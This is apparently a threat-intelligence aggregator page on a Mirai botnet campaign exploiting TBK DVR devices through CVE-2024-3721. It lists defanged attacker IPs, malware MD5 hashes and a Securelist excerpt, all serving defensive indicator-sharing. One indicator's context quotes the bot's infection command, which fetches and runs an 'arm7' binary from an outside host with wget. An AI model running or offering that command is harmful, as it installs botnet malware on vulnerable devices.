Malwarehigh
New Mirai botnet campaign targets DVR devices
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2024-3721 | TBK DVR-4104 and DVR-4216 up to 20240412 and classified as critical: This issue affects some unknown processing of the file /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___. The manipulation of the… | 6.3 | 86% |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| ipv4 | 116.203.104.203 | fc3531cf1cf2f2e9a9c45b ba32f4eef7de6bae9507a63bde1a43aa IPs 116.203.104[.]203 130.61.64[.]122 161.97.219[.]84 130.61.69[.]123 185.84.81 |
| ipv4 | 130.61.64.122 | c45b ba32f4eef7de6bae9507a63bde1a43aa IPs 116.203.104[.]203 130.61.64[.]122 161.97.219[.]84 130.61.69[.]123 185.84.81[.]194 54.36.111 |
| ipv4 | 130.61.69.123 | a43aa IPs 116.203.104[.]203 130.61.64[.]122 161.97.219[.]84 130.61.69[.]123 185.84.81[.]194 54.36.111[.]116 192.3.165[.]37 162.243.19 |
| ipv4 | 161.97.219.84 | e6bae9507a63bde1a43aa IPs 116.203.104[.]203 130.61.64[.]122 161.97.219[.]84 130.61.69[.]123 185.84.81[.]194 54.36.111[.]116 192.3.165 |
| ipv4 | 162.243.19.47 | .61.69[.]123 185.84.81[.]194 54.36.111[.]116 192.3.165[.]37 162.243.19[.]47 63.231.92[.]27 80.152.203[.]134 42.112.26[.]36 |
| ipv4 | 185.84.81.194 | 3.104[.]203 130.61.64[.]122 161.97.219[.]84 130.61.69[.]123 185.84.81[.]194 54.36.111[.]116 192.3.165[.]37 162.243.19[.]47 63.231.92[ |
| ipv4 | 192.3.165.37 | 97.219[.]84 130.61.69[.]123 185.84.81[.]194 54.36.111[.]116 192.3.165[.]37 162.243.19[.]47 63.231.92[.]27 80.152.203[.]134 42.112.26 |
| ipv4 | 42.112.26.36 | e compromised machine. 1 cd / tmp ; rm arm7 ; wget http : //42.112.26[.]36/arm7; chmod 777 *; ./arm7 tbk Typically, bot infections i |
| ipv4 | 54.36.111.116 | 61.64[.]122 161.97.219[.]84 130.61.69[.]123 185.84.81[.]194 54.36.111[.]116 192.3.165[.]37 162.243.19[.]47 63.231.92[.]27 80.152.203[ |
| ipv4 | 63.231.92.27 | .84.81[.]194 54.36.111[.]116 192.3.165[.]37 162.243.19[.]47 63.231.92[.]27 80.152.203[.]134 42.112.26[.]36 |
| ipv4 | 80.152.203.134 | .36.111[.]116 192.3.165[.]37 162.243.19[.]47 63.231.92[.]27 80.152.203[.]134 42.112.26[.]36 |
| md5 | 011a406e89e603e93640b10325ebbdc8 | x.Gafgyt . Indicators of compromise Host-based (MD5 hashes) 011a406e89e603e93640b10325ebbdc8 24fd043f9175680d0c061b28a2801dfc 29b83f0aae7ed38d27ea37d26f |
| md5 | 24fd043f9175680d0c061b28a2801dfc | se Host-based (MD5 hashes) 011a406e89e603e93640b10325ebbdc8 24fd043f9175680d0c061b28a2801dfc 29b83f0aae7ed38d27ea37d26f3c9117 2e9920b21df472b4dd1e8db486 |
| md5 | 29b83f0aae7ed38d27ea37d26f3c9117 | 6e89e603e93640b10325ebbdc8 24fd043f9175680d0c061b28a2801dfc 29b83f0aae7ed38d27ea37d26f3c9117 2e9920b21df472b4dd1e8db4863720bf 3120a5920f8ff70ec6c5a45d7b |
| md5 | 2e9920b21df472b4dd1e8db4863720bf | 3f9175680d0c061b28a2801dfc 29b83f0aae7ed38d27ea37d26f3c9117 2e9920b21df472b4dd1e8db4863720bf 3120a5920f8ff70ec6c5a45d7bf2acc8 3c2f6175894bee698c61c6ce76 |
| md5 | 3120a5920f8ff70ec6c5a45d7bf2acc8 | 0aae7ed38d27ea37d26f3c9117 2e9920b21df472b4dd1e8db4863720bf 3120a5920f8ff70ec6c5a45d7bf2acc8 3c2f6175894bee698c61c6ce76ff9674 45a41ce9f4d8bb2592e8450a1d |
| md5 | 3c2f6175894bee698c61c6ce76ff9674 | b21df472b4dd1e8db4863720bf 3120a5920f8ff70ec6c5a45d7bf2acc8 3c2f6175894bee698c61c6ce76ff9674 45a41ce9f4d8bb2592e8450a1de95dcc 524a57c8c595d9d4cd364612fe |
| md5 | 45a41ce9f4d8bb2592e8450a1de95dcc | 920f8ff70ec6c5a45d7bf2acc8 3c2f6175894bee698c61c6ce76ff9674 45a41ce9f4d8bb2592e8450a1de95dcc 524a57c8c595d9d4cd364612fe2f057c 74dee23eaa98e2e8a7fc355f06 |
| md5 | 524a57c8c595d9d4cd364612fe2f057c | 75894bee698c61c6ce76ff9674 45a41ce9f4d8bb2592e8450a1de95dcc 524a57c8c595d9d4cd364612fe2f057c 74dee23eaa98e2e8a7fc355f06a11d97 761909a234ee4f1d856267abe3 |
| md5 | 6e7976666525a97639777d2d7f303177 | After the key decryption, we were able to obtain its value: 6e7976666525a97639777d2d7f303177 . The decrypted RC4 key is used to decrypt the strings. Aft |
| md5 | 74dee23eaa98e2e8a7fc355f06a11d97 | e9f4d8bb2592e8450a1de95dcc 524a57c8c595d9d4cd364612fe2f057c 74dee23eaa98e2e8a7fc355f06a11d97 761909a234ee4f1d856267abe30a3935 7eb3d72fa7d730d3dbca4df34f |
| md5 | 761909a234ee4f1d856267abe30a3935 | c8c595d9d4cd364612fe2f057c 74dee23eaa98e2e8a7fc355f06a11d97 761909a234ee4f1d856267abe30a3935 7eb3d72fa7d730d3dbca4df34fe26274 8a3e1176cb160fb42357fa3f46 |
| md5 | 7eb3d72fa7d730d3dbca4df34fe26274 | 3eaa98e2e8a7fc355f06a11d97 761909a234ee4f1d856267abe30a3935 7eb3d72fa7d730d3dbca4df34fe26274 8a3e1176cb160fb42357fa3f46f0cbde 8d92e79b7940f0ac5b01bbb777 |
| md5 | 8a3e1176cb160fb42357fa3f46f0cbde | a234ee4f1d856267abe30a3935 7eb3d72fa7d730d3dbca4df34fe26274 8a3e1176cb160fb42357fa3f46f0cbde 8d92e79b7940f0ac5b01bbb77737ca6c 95eaa3fa47a609ceefa24e8c77 |
| md5 | 8d92e79b7940f0ac5b01bbb77737ca6c | 2fa7d730d3dbca4df34fe26274 8a3e1176cb160fb42357fa3f46f0cbde 8d92e79b7940f0ac5b01bbb77737ca6c 95eaa3fa47a609ceefa24e8c7787bd99 96ee8cc2edc8227a640cef77d4 |
| md5 | 95eaa3fa47a609ceefa24e8c7787bd99 | 76cb160fb42357fa3f46f0cbde 8d92e79b7940f0ac5b01bbb77737ca6c 95eaa3fa47a609ceefa24e8c7787bd99 96ee8cc2edc8227a640cef77d4a24e83 aaf34c27edfc3531cf1cf2f2e9 |
| md5 | 96ee8cc2edc8227a640cef77d4a24e83 | 9b7940f0ac5b01bbb77737ca6c 95eaa3fa47a609ceefa24e8c7787bd99 96ee8cc2edc8227a640cef77d4a24e83 aaf34c27edfc3531cf1cf2f2e9a9c45b ba32f4eef7de6bae9507a63bde |
| md5 | aaf34c27edfc3531cf1cf2f2e9a9c45b | fa47a609ceefa24e8c7787bd99 96ee8cc2edc8227a640cef77d4a24e83 aaf34c27edfc3531cf1cf2f2e9a9c45b ba32f4eef7de6bae9507a63bde1a43aa IPs 116.203.104[.]203 130. |
| md5 | ba32f4eef7de6bae9507a63bde1a43aa | c2edc8227a640cef77d4a24e83 aaf34c27edfc3531cf1cf2f2e9a9c45b ba32f4eef7de6bae9507a63bde1a43aa IPs 116.203.104[.]203 130.61.64[.]122 161.97.219[.]84 130.6 |
From the original article
4 min read at securelist.com
The abuse of known security flaws to deploy bots on vulnerable systems is a widely recognized problem. Many automated bots constantly search the web for known vulnerabilities in servers and devices connected to the internet, especially those running popular services.
By @Securelist · securelist.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.